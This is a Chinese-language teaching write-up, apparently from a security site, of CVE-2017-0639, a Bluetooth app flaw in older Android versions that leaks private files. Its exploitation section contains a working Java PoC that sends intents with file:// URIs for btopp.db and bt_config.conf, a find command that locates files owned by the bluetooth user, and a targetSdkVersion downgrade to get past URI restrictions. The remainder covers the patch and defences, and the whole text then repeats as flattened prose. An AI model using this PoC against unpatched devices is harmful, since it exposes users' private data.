蓝牙App漏洞系列分析之二CVE-2017-0639
字数 1395 2025-08-22 18:37:22

Android蓝牙App信息泄露漏洞分析(CVE-2017-0639)教学文档

0x01 漏洞概述

CVE编号: CVE-2017-0639
BugID: A-35310991
漏洞类型: 信息泄露
严重性: 高危
影响版本: Android 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2

该漏洞允许攻击者通过蓝牙功能获取蓝牙应用的私有文件,绕过了Android沙箱机制提供的应用数据隔离保护。

0x02 漏洞背景

该漏洞属于"针对具有对外发送或共享功能App的攻击"类型,与之前发现的:

  • CVE-2017-0420 (AOSP邮件信息泄露)
  • CVE-2017-0414 (AOSP短信信息泄露)

属于同一类漏洞,都是由于应用在对外发送文件时未对文件来源进行充分验证导致的。

0x03 漏洞原理

攻击面分析

蓝牙是Android系统中重要的信息分享渠道,通过BluetoothOppLauncherActivity处理文件发送请求:

  1. 该Activity响应Intent.ACTION_SENDIntent.ACTION_SEND_MULTIPLE
  2. 启动线程处理单个或多个文件的发送
  3. 调用saveSendingFileInfo保存文件信息

关键问题

  1. 文件URI处理:支持content://file://两种URI方案
  2. 缺乏验证:未检查传入的文件是否属于蓝牙应用的私有目录
  3. 权限绕过:虽然SDK 23+限制了file:// URI的传递,但通过降低targetSdkVersion可绕过

漏洞利用条件

  • 攻击者需要能够构造并发送特定Intent
  • 需要知道蓝牙应用的私有文件路径
  • 需要将应用的targetSdkVersion设置为23或以下

0x04 漏洞利用

步骤1:识别蓝牙私有文件

通过以下命令查找蓝牙应用拥有的私有文件:

find /data -user bluetooth -exec ls -al {} \; 2> /dev/null

常见私有文件:

  • /data/user_de/0/com.android.bluetooth/databases/btopp.db
  • /data/misc/bluedroid/bt_config.conf

步骤2:构造PoC

public class MainActivity extends AppCompatActivity {
    Button m_btnSendPriv = null;
    Button m_btnSendMPriv = null;
    private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
    private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        
        m_btnSendPriv = (Button) findViewById(R.id.send_private);
        m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent(Intent.ACTION_SEND);
                intent.setType("text/plain");
                Uri uri = Uri.parse(PRIV_FILE_URI1);
                intent.putExtra(Intent.EXTRA_STREAM, uri);
                intent.setComponent(new ComponentName("com.android.bluetooth", 
                    "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                startActivity(intent);
            }
        });
        
        m_btnSendMPriv = (Button) findViewById(R.id.send_private_multiple);
        m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
                intent.setType("text/plain");
                ArrayList<Uri> uris = new ArrayList<Uri>();
                uris.add(Uri.parse(PRIV_FILE_URI1));
                uris.add(Uri.parse(PRIV_FILE_URI2));
                intent.putExtra(Intent.EXTRA_STREAM, uris);
                intent.setComponent(new ComponentName("com.android.bluetooth", 
                    "com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
                startActivity(intent);
            }
        });
    }
}

步骤3:绕过FileUriExposed限制

build.gradle中将targetSdkVersion设置为23或以下:

android {
    defaultConfig {
        targetSdkVersion 23
    }
}

0x05 漏洞修复

根本修复方案

  1. generateFileInfo方法中添加对文件路径的验证
  2. 禁止访问私有目录文件
  3. 强制使用content:// URI方案

补丁关键点

  • 检查传入的文件路径是否属于蓝牙应用私有目录
  • 拒绝处理不符合要求的文件URI
  • 完善错误处理机制

0x06 防御建议

  1. 应用开发

    • 对外共享文件时使用FileProvider
    • 验证传入的文件路径
    • 保持targetSdkVersion为最新
  2. 系统防护

    • 及时更新安全补丁
    • 监控异常的文件访问行为
    • 加强沙箱隔离机制
  3. 用户防护

    • 仅从可信来源安装应用
    • 关注系统更新通知
    • 谨慎授予文件访问权限

0x07 总结

该漏洞展示了Android沙箱机制中的一个典型问题:当应用同时具备文件访问和对外共享功能时,如果没有严格的路径验证,就可能破坏应用间的数据隔离。开发者在实现类似功能时,应当充分考虑各种边界情况,确保不会意外暴露敏感数据。

Android蓝牙App信息泄露漏洞分析(CVE-2017-0639)教学文档 0x01 漏洞概述 CVE编号 : CVE-2017-0639 BugID : A-35310991 漏洞类型 : 信息泄露 严重性 : 高危 影响版本 : Android 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2 该漏洞允许攻击者通过蓝牙功能获取蓝牙应用的私有文件,绕过了Android沙箱机制提供的应用数据隔离保护。 0x02 漏洞背景 该漏洞属于"针对具有对外发送或共享功能App的攻击"类型,与之前发现的: CVE-2017-0420 (AOSP邮件信息泄露) CVE-2017-0414 (AOSP短信信息泄露) 属于同一类漏洞,都是由于应用在对外发送文件时未对文件来源进行充分验证导致的。 0x03 漏洞原理 攻击面分析 蓝牙是Android系统中重要的信息分享渠道,通过 BluetoothOppLauncherActivity 处理文件发送请求: 该Activity响应 Intent.ACTION_SEND 或 Intent.ACTION_SEND_MULTIPLE 启动线程处理单个或多个文件的发送 调用 saveSendingFileInfo 保存文件信息 关键问题 文件URI处理 :支持 content:// 和 file:// 两种URI方案 缺乏验证 :未检查传入的文件是否属于蓝牙应用的私有目录 权限绕过 :虽然SDK 23+限制了 file:// URI的传递,但通过降低targetSdkVersion可绕过 漏洞利用条件 攻击者需要能够构造并发送特定Intent 需要知道蓝牙应用的私有文件路径 需要将应用的targetSdkVersion设置为23或以下 0x04 漏洞利用 步骤1:识别蓝牙私有文件 通过以下命令查找蓝牙应用拥有的私有文件: 常见私有文件: /data/user_de/0/com.android.bluetooth/databases/btopp.db /data/misc/bluedroid/bt_config.conf 步骤2:构造PoC 步骤3:绕过FileUriExposed限制 在 build.gradle 中将 targetSdkVersion 设置为23或以下: 0x05 漏洞修复 根本修复方案 在 generateFileInfo 方法中添加对文件路径的验证 禁止访问私有目录文件 强制使用 content:// URI方案 补丁关键点 检查传入的文件路径是否属于蓝牙应用私有目录 拒绝处理不符合要求的文件URI 完善错误处理机制 0x06 防御建议 应用开发 : 对外共享文件时使用 FileProvider 验证传入的文件路径 保持targetSdkVersion为最新 系统防护 : 及时更新安全补丁 监控异常的文件访问行为 加强沙箱隔离机制 用户防护 : 仅从可信来源安装应用 关注系统更新通知 谨慎授予文件访问权限 0x07 总结 该漏洞展示了Android沙箱机制中的一个典型问题:当应用同时具备文件访问和对外共享功能时,如果没有严格的路径验证,就可能破坏应用间的数据隔离。开发者在实现类似功能时,应当充分考虑各种边界情况,确保不会意外暴露敏感数据。